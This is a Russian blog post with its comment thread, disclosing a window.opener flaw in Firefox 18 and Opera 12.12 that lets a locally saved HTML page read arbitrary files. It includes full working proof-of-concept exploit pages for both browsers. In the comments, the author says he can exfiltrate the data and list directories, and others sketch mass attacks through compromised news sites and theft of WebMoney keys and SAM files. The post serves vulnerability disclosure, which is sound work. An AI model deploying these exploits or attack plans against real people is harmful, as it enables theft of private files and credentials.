Уязвимость нулевого дня в Firefox 18 и Opera 12.12

    Продолжив копать и обыгрывать проблему безопасности с window.opener, наткнулся на довольно забавную уязвимость в браузерах Firefox и Opera.
    Уязвимость позволяет странице, сохраненной на вашем компьютере, читать произвольные файлы на вашей системе.



    Уязвимость существует из-за недостаточного контроля за сменой window.opener.
    Атакующий может встроить в страницу произвольный HTML код и при запуске данной страницы на локальной системе, появляется возможность прочитать содержимое почти любого файла (Разумеется, при наличии привилегий).

    Opera



    Т.к уязвимость довольно простая, то сразу публикую exploit. С проблемой window.opener, можно познакомиться тут.

    <html>
    <body>
    <script>
    if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) {
     //запуск кода только в браузере Opera и при вызове страницы через протокол file
     var file=prompt("Example: C:/file.txt "); //Какой файл хотим прочитать? 
     if(file){
     console.log("File: "+file);
     document.write("<center>"+
     "<a href='data:text/html,"+ //создадим ссылку, использующую протокол data 
     "<script>"+
     "if(window.opener){"+ //ТОЛЬКО если window.opener инициализирован
     "window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //меняем адрес родительской вкладки на путь к файлу 
     "};%3C%2Fscript%3E"+
     "%3Cscript%3E"+ // Используя второй тег script, обойдем систему безопасности
     "alert(window.opener.document.body.innerHTML);"+ //Вывод содержимого файла :)
     "%3C%2Fscript%3E"+
     "' target='_blank'>"+ //target= _blank
    "CLICK-CLICK</a>");
    }}
    </script>
    </body>
    </html>
    


    Видео, демонстрирующее данную уязвимость:



    Firefox



    Уязвимость в этом браузере аналогичная, но тут ее сложнее эксплуатировать.

    Для полного доступа к данным, код нужно поместить в корень диска.
    На nix’ах не тестировал и следовательно, о поведении кода в nix’ах, говорить не могу.
    Тут код состоит из двух файлов, для обхода ограничений в браузере.

    Файл первый (Fir.html):

    <html>
    <body>
    <script>
     if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){
     //запуск кода только в браузере Firefox и при вызове страницы через протокол file
      document.write("<center>"+
     "<a href='./payload.html'"+ //вызываем payload.html
     " target='_blank'>CLICK-CLICK</a>"); //target=_blank
    };
    
     </script>
    </body>
    </html>
    


    Файл второй (payload.html):

    <html>
    <body>
    <script>
    
    var file=prompt('Example: C:/file.txt');
    console.log(file);
    window.opener.location="file://localhost/"+file;
    </script>
    <script>
    var al=function(){alert(window.opener.document.body.innerHTML)}; //Выводим файл
    while(!window.opener.document.body){ //window.opener.document.body=null
    alert('Click OK'); //задержка
    al(); //Вызов функции
    };
    </script>
    </body>
    </html>
    


    Видео:



    Заключение



    То что exploit может сработать только находясь на целевой системе, не делает данную уязвимость критической.
    Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы :)

    UPD
    Для тех, кто не может понять почему это является уязвимостью.

    Привожу пример: Вы нашли интересную статью в интернете и предположим, вы едете на природу. Интернета нет, но статью вам очень хочется почитать.
    Но вы, заранее, сохранили HTML документ на своем компьютере. И вот вы сидите у костра, вас закусали комары и вы решили почитать данный документ. Ну что ж, сказано, сделано! Открыли, прочитали, забыли.
    А днем вы возвращаетесь домой, а доступа к аккаунту в соц. сети нет. Ведь вы оставили на жестком диске логин и пароль, в файле pass*.txt.

    Не следует рассматривать эту уязвимость как критическую. Это не более, чем игрушка.
    Но иногда, даже игрушки стреляют ;)

    UPD2: возможен просмотр директорий, exploit не представлю, ибо нехорошо.
    Поделиться публикацией

    Похожие публикации

    Комментарии 82

      +15
      Кто быстрей выпустит обновление Firefox или Opera?
        +20
        Opera отписалась, что не видит уязвимости в проблеме с Window.opener, но Mozilla пошла дальше, оказывается, багрепорт существовал давно. Но что-то, как-то…
        Короче, как всегда.
        Вот я и решил найти «боевое» применение этому багу.
          +3
          Ну я так думаю, что после вашей «боевой» инструкции и его применения хабраюзерами на пользователях Firefox и Opera, разработчики немного задумаются. Будет хорошим катализатором.
            +2
            его применения хабраюзерами на пользователях Firefox и Opera

            Плохой вы :)
            –1
            Ну опера даёт…
              0
              Mozilla пошла дальше, оказывается, багрепорт существовал давно

              Номер бага в багзилле, случаем, не знаете?
            –27
            юзайте хром :)
              0
              Я вот на последнем IE не тестировал.
              Если кто попробует, буду признателен :)
                +3
                IE проблемы с этим не испытывает — там вообще запрещено выполнение Javascript в HTML, открытых с диска. Именно потому, что Origin=localhost обладает правами на чтение любых файлов c locahost.

                Ну и вот еще полезная фича msdn.microsoft.com/en-us/library/ms537628.aspx
                  –1
                  То есть мир потихоньку переворачивается и MS потихоньку превращается в Корпорацию Добра. Мда, дожили…
                    0
                    Поживем — увидим.
                      +3
                      Этой фиче 100 лет в обед, еще с IE6 SP2
                        +1
                        Уже лет десять как превращается, ещё наверное с XP SP2, только традиционно консервативные пользователи ещё этого не заметили :)
                          0
                          Заметили еще в 2010, но это не повод пренебрегать таким.
                  +3
                  2 вопроса:
                  1. Вы проверяли только в винде или на других ОС тоже?
                  2. Удавалось ли эксплоитом передавать прочитанные данные на удалённый сервер? Или Вы не изучали этот вопрос?
                    +1
                    1. Под Линухой дырка работает. Вполне реально что и под MacOS тоже самое.
                      +1
                      1. Нет, но велика вероятность, ведь двигатель то один, но fs разная. Думаю, что просто нужно видоизменить ссылки.
                      2. Да, все отлично отсылается :)
                      0
                      Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы :)
                      Я так понимаю, это же относится и к просмотру страниц, сохранённых в кеше браузера.
                        +4
                        Сомнительно. Кеш работает по-другому: страница думает, что она загружена из сети, соответственно и права устанавливаются.
                          +1
                          Безусловно не относится.
                          +1
                          И ещё вопрос: что насчёт Google Chrome и других браузеров? Их Вы не проверяли?
                            +2
                            Хром невероятно режет права на операции с window.opener.
                            Мы можем переопределить window.opener на локальный файл, но не сможем считать информацию.
                            0
                            и других браузеров
                            Очень тонко =)

                            UPD. Комментарий к предыдущему
                              +4
                              Молодой человек, Вы таки прямо нарываетесь быть нанятым в security advisor :)
                                +3
                                Откуда вы узнали мою тайную мечту? :)
                                  0
                                  По топикам смотрю…
                                    +2
                                    Это мое хобби, которое приносит мне удовольствие.
                                    Вот я и рассказываю, периодически, о вкусностях, встреченных мной при познании Силы :)
                                +2
                                А что мешает закинуть эту страничку пользователю через ссылку, т.е:

                                Пользователь тыкает ссылку, в которой лежит этот html, сервер передает его с нестандартным mime type, чтоб браузер вывел диалог «сохранить как». Но. т.к. FF и Опера по-умолчанию ходят под себя и сохраняют загрузки автоматически (конечно это отключаемо, но). Нам остается только узнать как-то куда закачка сохранилась и открыть ее.

                                Как вам такой use case?
                                  0
                                  Может в реализации File Writer API есть «возможности» сохранять страницу локально по заданному пути?
                                    0
                                    Скорее всего браузер будет просить разрешения на эту операцию, что должно вызвать подозрения.
                                    0
                                    Так. проверил. Даже если мы узнаем куда сохранилась страница, мы не сможем сделать так:

                                    window.location="file://c:/"
                                    


                                    Но, возможно, можно сделать не напрямую, а через тот же window.opener
                                      –3
                                      image

                                      UPD: РУКИ КРИВЫЕ!!1 alexanderzaytsev, вам.
                                        +2
                                        Да, эта фотография тут вообще не к месту.

                                        alexanderzaytsev, пытался обыграть ваш способ, но т.к window.opener.location.protocol = 'http:' , то у нас просто не хватает прав…
                                        А жаль :)
                                      +3
                                      Опера вроде по умолчанию выводит диалог выбора действия. Это хром и файрфокс «ходят под себя».
                                        0
                                        Да, действительно, сейчас все научились спрашивать куда сохранить (кроме хрома), но там есть галочка «больше не спрашивать»
                                          0
                                          Но она же по умолчанию выключена.
                                          0
                                          украду Вашу фразу «ходят под себя»… блин как точно…
                                            0
                                            Фраза не моя, я её взял у предыдущего оратора. )
                                        +2
                                        Является ли уязвимостью то, что в Хроме содержимое файла можно просмотреть так:
                                        <object type="text/html" data="c:\\Windows\\win.ini" style="width:100%; height:400px;"></object>
                                        

                                        Опять таки только если страница сохранена локально.
                                          0
                                          Нет, я уже писал об этом.
                                          Хотя если вы сможете программно прочитать содержимое, это будет уязвимость.
                                          +5
                                          Файл первый (Fir.html):

                                          На этом моменте я подумал, что второй файл будет называться Efox.html :)
                                            0
                                            Ну вот, а ещё все вечно спрашивают «зачем браузер запускать из-под другого урезанного пользователя?», и ведь никто не верит, что может случиться что-то страшное.
                                              –5
                                              вот это уже интересная уязвимость. респект. предыдущая была фигней =)
                                                0
                                                Спасибо :)
                                                Rail тоже неплох)
                                                  0
                                                  кароче надо написать простенький exploit.js подключить их в таких местах где люди часто сохраняют свои страницы и затем отсылать на сервак ключи вебмани и файлы всякие? прокатит?
                                                    0
                                                    Тут не сколько целевая атака, сколько атака направленная на массовость. Ломаем новостные ресурсы, помещаем туда код, кто-то сохраняет новость на винте, запускает страницу и наш код, читаем sam'овский файл и подцепляем ip.
                                                      0
                                                      да я про это и говорю, подкинуть файл в такие ресурсы или попросить их за деньги установить.
                                                      а директорию никак не прочитать? можно сделать files.each
                                                        0
                                                        Да, сейчас смог.
                                                        Есть возможность просмотреть директорию.
                                                        Не буду выкладывать в паблик.
                                                +1
                                                Для полного доступа к данным, код нужно поместить в корень диска.
                                                А если код поместить не в корень диска, что тогда?
                                                  +4
                                                  Тогда не будет полного доступа к данным.
                                                    0
                                                    АХТУНГ!
                                                    Это свойственно исключительно Лису.
                                                    Опера позволяет даже с диска, имеющего другую букву, считать информацию.
                                                    Т.е мы с диска C: читаем данные, которые находятся на D:
                                                    Diabllo, вы не совсем правы, доступ будет, но к каталогам, находящимся в подпапках.
                                                    Следовательно, для полного доступа к диску, размещаем файл в корне. И, опять же, свойственно только для Лиса.
                                                    А вот Опера более «добра» :)
                                                      –2
                                                      Доступ к каталогам в одной из папок, куда будет помещён файл это не полный доступ к данным, а, фактически, урезанный.
                                                        0
                                                        В Firefox, да.
                                                    0
                                                    Не понимаю, чем это отличается от сценария «скачиваю вирус и запускаю»?
                                                      +4
                                                      Ну, к примеру тем, что ни один антивирус не сработает + всё довольно прозрачно для пользователя, которого могли запугать фразами «не запускай незнакомые exeшники».
                                                      –7
                                                      Неужели! А файл, сохранённый на веб-сервере в корне диска тоже может читать любые файлы????
                                                        +1
                                                        Вы поставили меня в тупик.
                                                        А что вы хотите читать?
                                                        Файлы с http сервера или из системы?
                                                        –1
                                                        Хм, но даже если в соответствии с настройками браузер автоматом скачал файл, он же не в корень положится, а в папку с прочим слитым мусором.
                                                        А, и да, почему уязвимость называется «нулевого дня»?
                                                          0
                                                          От нее нет защиты, на данный момент.
                                                            –3
                                                            А где тут уязвимость вообще.
                                                            Итак мне надо.
                                                            1. Сохранить локально страницу с вредоносным кодом в корне диска.
                                                            2. Открыть ее.

                                                            При этом у меня где-то должен лежать файлик all_my_passwords_and_credit_cards.txt, путь к которому чудесным образом прописан в коде страницы. Я ничего не упустил?

                                                            Это прям вирус типа:
                                                            ***
                                                            ДОРОГОЙ ПОЛУЧАТЕЛЬ, Вы только что получили Талибан-вирус. Так как мы в Афганистане не так технологически продвинуты, это — РУЧНОЙ вирус. Пожалуйста удалите все файлы на вашем жестком диске самостоятельно, и отправьте этот вирус по почте каждому кого Вы знаете. Большое спасибо за помощь. Abdulla, Talibanian
                                                            ***
                                                            Ок. Разрешите и мне поделиться уязвимостью.

                                                            Exploit «Кувалда 1.0» способен произвести атаку типа «отказ в обслуживании.» Можете проверить.
                                                              +1
                                                              Да при чем тут пароли? В системе много системных файлов, в которых хранится много конфиденциальной информации.
                                                              И мы в состоянии их прочитать. Я же не говорил, что это критическая уязвимость.
                                                              Вы хотите все и сразу.
                                                              Начнем с того, что JS вообще не позволяет читать файлы с системы.
                                                                0
                                                                Кто это мы? Злоумышленник не может. Точнее может, но перед этим пользователь должен вообще какие-то нереальные действия проделать. Почему его просто не попросить тогда уж прямым текстом выслать свои данные куда-то.
                                                                0
                                                                Ну не знаю, C:\users\admin\desktop\пароли.txt довольно сильно распространено
                                                                  +1
                                                                  скорей на wand.dat расчитывают =)
                                                                    0
                                                                    Достаточно по публичным DC хабам пройтись — куча людей расшаривает, например, диск C. Раньше очень много людей на просьбу незнакомца выслать якобы удаленные системные файлы pwl высылали такие из своей системы. Сейчас уверен и wand.dat вышлют. А уж из почты открывают любой файл, который пропустит бесплатный антивирус и сама почтовая программа.
                                                                    0
                                                                    Ну как бэ хранить пароли в открытом виде — это не от большого ума, когда есть, например, KeePass бесплатный, мультиплатформенный и с открытыми исходными кодами.
                                                                    В данном же случае, если даже целиться в пользователей с C:\users\admin\desktop\пароли.txt (хотя не встречал таких, но ладно, возможно, их много), то надо их как-то заставить какую-то вебстраницу куда-то там запихнуть, а потом еще и локально запустить. Я, конечно, дико извиняюсь, но эта «уязвимость» относится тогда к классу уязвимостей «пустая черепная коробка». А тут сложности не нужны. Такие пользователи с радостью открывают запускают присылаемые им файлы с пометкой «Смотри какую интересную программу нашел» и т.п.
                                                              +1
                                                              А вообще: чуть меньше, чем позор. Часто сохраняю страницы с примерами кода как «заметки на будущее». В корне конечно не сохраняю, но ситуация все равно не устраивает.
                                                                0
                                                                В Firefox есть же Scrapbook — и хранит все в одном месте и сохранить можно исключительно интересующий кусок текста.
                                                                  0
                                                                  Не в обиду Firefox, но привык к опере. Да и в ней тоже «заметки» есть, но традиционно чтоли, по привычке опять же привык в *.mht все держать.
                                                                    0
                                                                    Лиса может и в *.мхт сохранять — есть плагин соответсвующий :)
                                                              • НЛО прилетело и опубликовало эту надпись здесь
                                                                  +1
                                                                  А сможете из iframe считать информацию?
                                                                  Да, данные можно отправить. Выше, я уже писал об этом.
                                                                    0
                                                                    Пожалуйста

                                                                    <iframe src="file:///var/www/test.txt"></iframe>

                                                                    И

                                                                    document.getElementsByTagName('iframe')[0].contentWindow.document.body.innerHTML

                                                                    Получим
                                                                    <pre>testing</pre>
                                                                      0
                                                                      Хм, я не тестировал попытку через iframe.
                                                                      Но я же продолжил идею с window.opener.
                                                                        0
                                                                        Вопрос в том реально ли это баг или же «фича»
                                                                          0
                                                                          Я не думаю, что если браузер имеет доступ к файлам на вашем диске, это хорошо :)
                                                                            0
                                                                            Вопрос при каких условиях он этот доступ имеет,
                                                                            и реально ли этот доступ эксплуатировать.

                                                                            Пока что сценарий выглядит как «установи себе вирус сам» :)
                                                                              0
                                                                              Как-то всё «неоднозначно».

                                                                              Если «разбирать» со стороны ServerSide developer то:

                                                                              — FFox «просто» выставляет WebRoot и дает считать всё, что «рядом» или в папках «ниже». Что, как бы, не противоречит тому, что мы видим в Web(относительные, корневые и кросс-доменные ссылки) И Учитывает CORS ('Access-Control-Allow-Origin: localhost' или типа того)

                                                                              — Opera же дает возможность делать ВСЁ, и Считает лобой file:// «внешним сервером» с 'Access-Control-Allow-Origin: *'

                                                                              С другой стороны: как же тогда Закрыть-таки дырки?
                                                                              Отключить JS для локальных файлов, как делает IE? — так мы все сохраненные web2.0 странички «потеряем».

                                                                              С решением Opera по поводу Бага — не согласен.
                                                                                0
                                                                                IE щас делает тоньше — добавляет спецкомментарий, и сохраненная страничка сайта исполняется с origin сайта
                                                                                  0
                                                                                  «Ложки нашлись, но осадок остался»
                                                                    0
                                                                    Интернета нет, но статью вам очень хочется почитать.
                                                                    Но вы, заранее, сохранили HTML документ на своем компьютере. И вот вы сидите у костра, вас закусали комары и вы решили почитать данный документ. Ну что ж, сказано, сделано! Открыли, прочитали, забыли.
                                                                    А днем вы возвращаетесь домой, а доступа к аккаунту в соц. сети нет. Ведь вы оставили на жестком диске логин и пароль, в файле pass*.txt.

                                                                    и каким же образом без инета увели данные? или я чего-то непонимаю))

                                                                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                    Самое читаемое